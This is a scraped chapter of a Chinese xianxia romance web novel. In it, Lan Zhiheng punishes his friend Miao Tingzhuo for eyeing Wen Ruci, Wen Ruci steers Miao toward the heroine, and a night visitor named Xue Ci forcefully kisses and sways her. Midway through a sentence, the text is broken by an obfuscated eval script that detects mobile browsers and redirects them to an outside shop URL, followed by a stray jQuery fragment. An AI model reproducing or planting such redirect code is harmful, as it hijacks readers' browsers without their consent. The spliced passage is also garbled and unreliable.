默认冷灰
24号文字
方正启体

13. 不讨厌你

作者:答鸽兔本书字数:K更新时间:
    兰芝珩走入静乐轩,指尖磨砺着桌面上的茶盏,他是想让温如瓷多接触些异性,借此来消除她心中对他的错觉。


    但妙听濯……


    他不配。


    妙听濯热切地看着兰芝珩,心中竟有些紧张,赶忙拿起茶壶给兰芝珩倒上。


    青年斜睨他一眼,漠然开口:“滚。”


    妙听濯将手中茶壶放下,仰倒在椅塌上:“不是,你还是不是我兄弟啊?”


    “你若将拿我当好友,莫要打阿瓷的主意。”青年将刚倒好的茶水推回到妙听濯面前。


    妙听濯未动,沉默许久又听他道:“阿瓷并非物件,她嫁与不嫁,未来的郎君是何人,无人有资格替她作主。”


    妙听濯还不死心:“她那般听你的话……”他话还未说完,兰芝珩弯起唇,打断他:“我也不行,她非我所有物,你便是我知交好友,也需懂得何为尊重。”


    以妙听濯对兰芝珩的了解,他此刻虽笑着,却已经动了怒,就如十年前——


    那时的温如瓷身形肥胖,他因多瞧了她两眼,就被兰芝珩这般笑着“一不小心”将蹴鞠踢到了他脑袋上,当时他还天真的以为兰芝珩真是不小心,毕竟兰芝珩打小便知书懂礼,名声极好。


    直到后来听说,兰芝珩不仅“不小心”踢了他脑袋,还“不小心”打断了神庭三皇子的腿,半月都下不得床榻,只因那三皇子与同伴嘲笑他那圆滚滚的小伴修。


    妙听濯暗道不好,压下心中的不甘,赶忙起身:“本也是玩笑话,你觉不妥我日后再不提就是了,我还有事,改日再来看你。”


    他匆匆向外走,刚走出房门被一条缚仙绳绊倒,他龇牙咧嘴地揉着膝盖:“不是吧!”


    墨回将缚仙绳捆在他双手,而后将其吊在屋外的树枝上,妙听濯无奈地看向屋内的清隽矜贵的青年,也不挣扎了。


    不少人赞奉他皎皎如月,公子如霜。


    只有稍加熟稔的几个同辈才知,他分明是只护短的狐狸。


    他也是猪油荤了心了,将主意打到他那小伴修身上还说与他听。


    “妙公子受苦了,我家少主向来护着阿瓷姑娘,最是不喜有人拿她开玩笑,也就看在您是我家少主的好友的份上,若换做他人定是要尝尝兰家刑罚,没个一年半载出不得门的。”


    墨回将妙听濯吊在树上,而后憋着笑回到房门处。


    妙听濯看向自己的随从,给他使了使眼色:“快来救本公子啊!”


    那随从安稳站在一旁,连步子都没挪。


    “老家主说过,公子在外行事要谨言慎行,一切需多向兰少主请教,兰少主惩罚公子,就等同老家主惩罚公子,小的不敢置喙。”


    妙听濯腾空的双腿气急败坏地向随从蹬了蹬:“滚一边去,看你就烦!”


    直到夜幕降临,妙听濯才被墨回放下,他活动了下筋骨,揉了揉又酸又疼的手腕,直冲冲就想去屋中寻那不把兄弟当人的损友算账,被墨回拦住:“妙公子,公子如今正疗伤呢。”


    妙听濯想到兰芝珩的伤,磨了磨牙:“罢了,等他伤好本公子再找他算账。”


    他手酸得连折扇都拿不稳,被侍从扶着向外走,谁料刚出院门,碰到等候许久的温如瓷。


    温如瓷也很无奈,被系统告知剧情又不知哪里出错了,要她拨乱返正。


    这段剧情本是妙听濯看到她无理跋扈,而后和男主说她坏话的同时,对她口中的养伤的云姑娘心生好奇,特意去偏院瞧上一眼,从而对女主一见钟情。


    温如瓷神色难辩地看着妙听濯,他竟还能在书中混个男二,好生离谱。


    她兄长明明是被云姐姐在意的,却连妙听濯都不如?真不公平。


    系统:“这是一本男频小说,妙听濯是男主的好友,戏份多很正常,而且他只是暗自恋慕女主,直到结局也没说出口。”


    温如瓷:“好吧。”虽然她听不懂什么是男频。


    妙听濯后退一步,警惕地看了一眼身后的院落,兰芝珩那厮若看到这小古板与他站在一起,说不准怀疑他贼心不死。


    温如瓷按照系统给她编好的说辞开口:“妙公子擅音律,我听闻妙家音修都习得音律疗伤之法,妙公子可否帮我去看看云姐姐的伤势。”


    只要让他见到云姐姐,她就完成任务了。


    妙听濯习得音杀之法,可不会什么疗愈,他实话实说:“我不会。”


    温如瓷默默看着他:“你会。”


    妙听濯唇角抽了抽:“我……”他话还未说完,被温如瓷推入院落,而后拉着他往偏院走,少女固执道:“你先去看一下,说不准就会了。”


    少女柔软的指尖握住他泛酸的手腕,她力道小,紧紧攥着也不痛,反而像是给他揉搓伤口一般,妙听濯耳朵红到发紫,就这么跟着她到偏院了。


    床榻上昏迷的女子脸上恢复了些血色,温如瓷如昨夜一样,沾湿帕子给她拭了拭干涸的唇。


    妙听濯匪夷所思地看着细致周到的少女,她上午还生怕兰芝珩来此处呢,现在又十分担忧的模样,女子的心,当真琢磨不透。


    他扫了一眼床榻上的女子:“我没骗你,真是不会音律疗愈,不过我明日可让通晓此法的人来此处为她疗愈。”


    有兰芝珩在,温如瓷并不担心云织雪的伤势,她的目的已经达到了,看来妙听濯果然是对云姐姐一见钟情,都想着将妙家的人调来此处了。


    温如瓷擦拭完云织雪的唇,又换了个帕子给她擦脸,此处来往皆是男子,就连医官也注意不到这些细节。


    “我知晓了,妙公子回吧。”她头也没回地道。


    少女与方才急切带他来时仿若变了个面孔,妙听濯轻啧一声:“温如瓷,你可真没礼貌,不送我出去?”


    温如瓷一怔,看向他,妙听濯抱着手臂杵在原地,颇有种她若不送他就不走了的神态。


    她将帕子放好,而后起身,对他欠了欠身:“是阿瓷失礼了,妙公子勿要怪罪。”


    这下轮到妙听濯愣住了,他也不知自己怎么想的,以兰芝珩跟他的交情,这温家阿瓷就算无理些,他也不会放在心上,可方才却见不得她忽视他。


    眼下她又恢复那副知礼懂礼的模样,他却无端想到她在兰芝珩面前的无理娇态来,并因她截然不同的态度心生恼意。


    “妙公子?”


    妙听濯回过神,少女已站在房门处等他。


    他面色恢复如常,摊开折扇晃动几下,向门外走去。


    “小古板,你觉得本公子如何?”妙听濯背身倒行,正面温如瓷。


    她走一步,他退一步。


    温如瓷面色不改地说着违心之言:“妙公子一表人才,风度翩翩,肯随我过来瞧云姐姐的伤势,人也是极好的。”


    妙听濯抑制不住地勾起唇角,他轻咳一声,脚步忽然停住,温如瓷无可避免地撞到他胸口处,她唇角下压,茫然地看向他。


    离得近了,少女身上的香气令妙听濯脊背僵直,心中所想脱口而出:“那你觉得我这人,做夫君如何?”


    温如瓷揉了揉额头,暗道他果然是看上了云姐姐,连成亲都想好了。


    真可惜,他比芝珩哥哥差得不是一星半点,女主不会与他成亲。


    这话温如瓷当然不能说,她耐着性子敷衍道:“妙公子性子风趣幽默,日后定会是一个好夫君。”


    系统暗中看热闹险些笑出声,宿主睁眼说瞎话的样子好像一个人机。


    妙听濯忽然背过身,脚步加快:“阿瓷不用送了,本公子知道路。”


    月影下,他脸上蔓延的红晕遮都遮不住。


    温如瓷看着他的身影快速消失在静月轩的院门处,松了口气,二人都未察觉,静月轩的主阁中,灯火尽熄,一道身影站在窗前,面无表情的盯着一前一后离开的背影。


    子夜——


    “叩。”


    “叩叩。”


    “叩。”


    “叩叩。”


    一敲一顿的声音在寂静的黑夜中十分诡异,温如瓷睁开眼眸探头看去,并未看到门前映出人影,她抓紧被子,一动也不敢动。


    “吱呀…”她听到红湘所在的隔壁打开了房门,心下微松,赤足下了床榻。


    红湘揉着眼睛站在空荡荡的院落中,口中嘟囔:“难道是听错了?”


    她打了个哈切,转身回到房间,行至房门处,听到温


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420219|200805||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如瓷的房间“咚”地一声,什么东西掉落在地一般,她试探地问道:“姑娘,您醒了吗?”


    隔着一层窗户纸,少女被高大的身影抵在窗前吻得喘不过气来,听到红湘的询问,她抵在对方胸口的指尖蜷缩了下,想要出声,又被缠住舌尖无法挣脱。


    红湘迟迟没有得到答复,想着应是温如瓷睡前看了书籍,被她睡梦中扫落在地,她宽下心,回了屋子。


    唇舌被肆意磨碾搅动,温如瓷快要窒息了,她抬手向青年的脖颈抓了一把,血痕随着指尖抽离现于颈间。


    趁对方一瞬的失神,温如瓷从他手臂下钻出,她揉了揉破皮的唇角,蹙眉看向站在窗前的青年:“不可以。”


    青年狭长地眸子划过一抹暗色,他侧目看向被吃的泪眼婆娑还在斯文说着“不可以”的少女,连颈间刺痛的血痕都泛起细密的酥痒来。


    “阿瓷不喜欢我,也不喜欢兰芝珩了吗?”青年站在窗前未动,失落地垂下头。


    方才雪辞粗鲁的吻吓到了她,温如瓷此刻有些闪躲:“你,你为何要如此说,我自是喜欢他的。”


    雪辞身形一闪,从背后拥住温如瓷,灼热的呼吸喷洒在她耳畔,激起一阵颤栗。


    “可阿瓷今夜与妙听濯说的话我都听到了,阿瓷说夸奖了他,还说他很适合做夫君。”


    温如瓷瞪大眼眸,他怎会将她的话曲解的这般离谱。


    她反驳:“妙公子喜欢的另有其人,这才问我他为人如何,做夫君如何,怎么到了你这里,好似我要嫁给他一般。”


    回想起妙听濯看向少女的眼神,青年狭长的眼眸又覆上一层阴鸷,哪里是喜欢别人,那双眼都要粘在她身上了,只有她这般单纯到愚蠢,才会看不出那人昭然若揭的心思。


    他伸手将少女的下颌拨过来,轻轻吻了吻她的唇角:“对不起,阿瓷,是我误会了,妙听濯平日里最是花心浪荡了,我怕你被他骗了,这才……”


    他将下颌靠在她颈窝,那双令温如瓷区分他与另一人的眼眸泛红,掀眸看向温如瓷时,委屈又无措:“是我不好,吓到你了,以后不会了。”


    温如瓷被那双蕴藏着破碎星光的眸子看的软下心神,她抬手摸了摸他的头:“我原谅你,你以后不可以这般莽撞,我会害怕。”


    她说完,将他拉到桌前坐下。


    雪辞垂下眼睫,似是未曾看出少女的欲言又止。


    他眼尾聋拉着,神情低落地伸手勾住温如瓷的袖口,喃喃道:


    “他的世界有很多人,亲人,朋友,未来还会有共度一生的爱人,每次看到他被众人倾慕,簇拥着,我都羡慕极了,同时也更觉孤苦,幸好……幸好现在有阿瓷陪着我了。”


    温如瓷抿住唇,咽下原本想要说出口的话。


    她本来想告诉他,以后她要离他远些,否则等兰芝珩病愈,她会很麻烦。


    可他好可怜。


    “我只有阿瓷一个人能说话,但我好开心,阿瓷不讨厌我。”他趴在手臂上,侧过头看向温如瓷,小心翼翼地问道:“阿瓷不讨厌我,对吗?”


    他眼眸还泛着红,期待且不安地看着她。


    温如瓷毫不犹豫地点头:“我不会讨厌你的。”


    他生得一副她喜欢的样子,她怎会会讨厌他。


    青年直起身子,将凳子挪近了些:“我想抱一抱阿瓷。”


    他一离得近,身上那浓烈的花香尽数涌至,将她包裹的密不透风。


    温如瓷有些迟疑地看着他,他又垂下头,眼眸黯淡:“阿瓷不想靠近我,也没关系的…”


    温如瓷眼睫一颤,倾身抱住他。


    “昨夜之事,是我昏了头……”她话还没说完,青年高挺的鼻梁抵在她的鼻尖上,他纤长的睫羽敛起,声音低哑惑人心神:“阿瓷对我做什么都可以的……”


    鼻间的香气如烈酒一般侵染着神智,温如瓷从未想到,兰芝珩这张宛若谪仙清雅绝尘的脸,也能化作蛊惑人心引人沦陷的艳鬼。


    温如瓷看得痴了,再回过神来,青年眼尾氤氲着薄红,突起的喉结上下滚动着,而她不知何时坐到了他怀中……


    他说,


    阿辞什么都可以的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)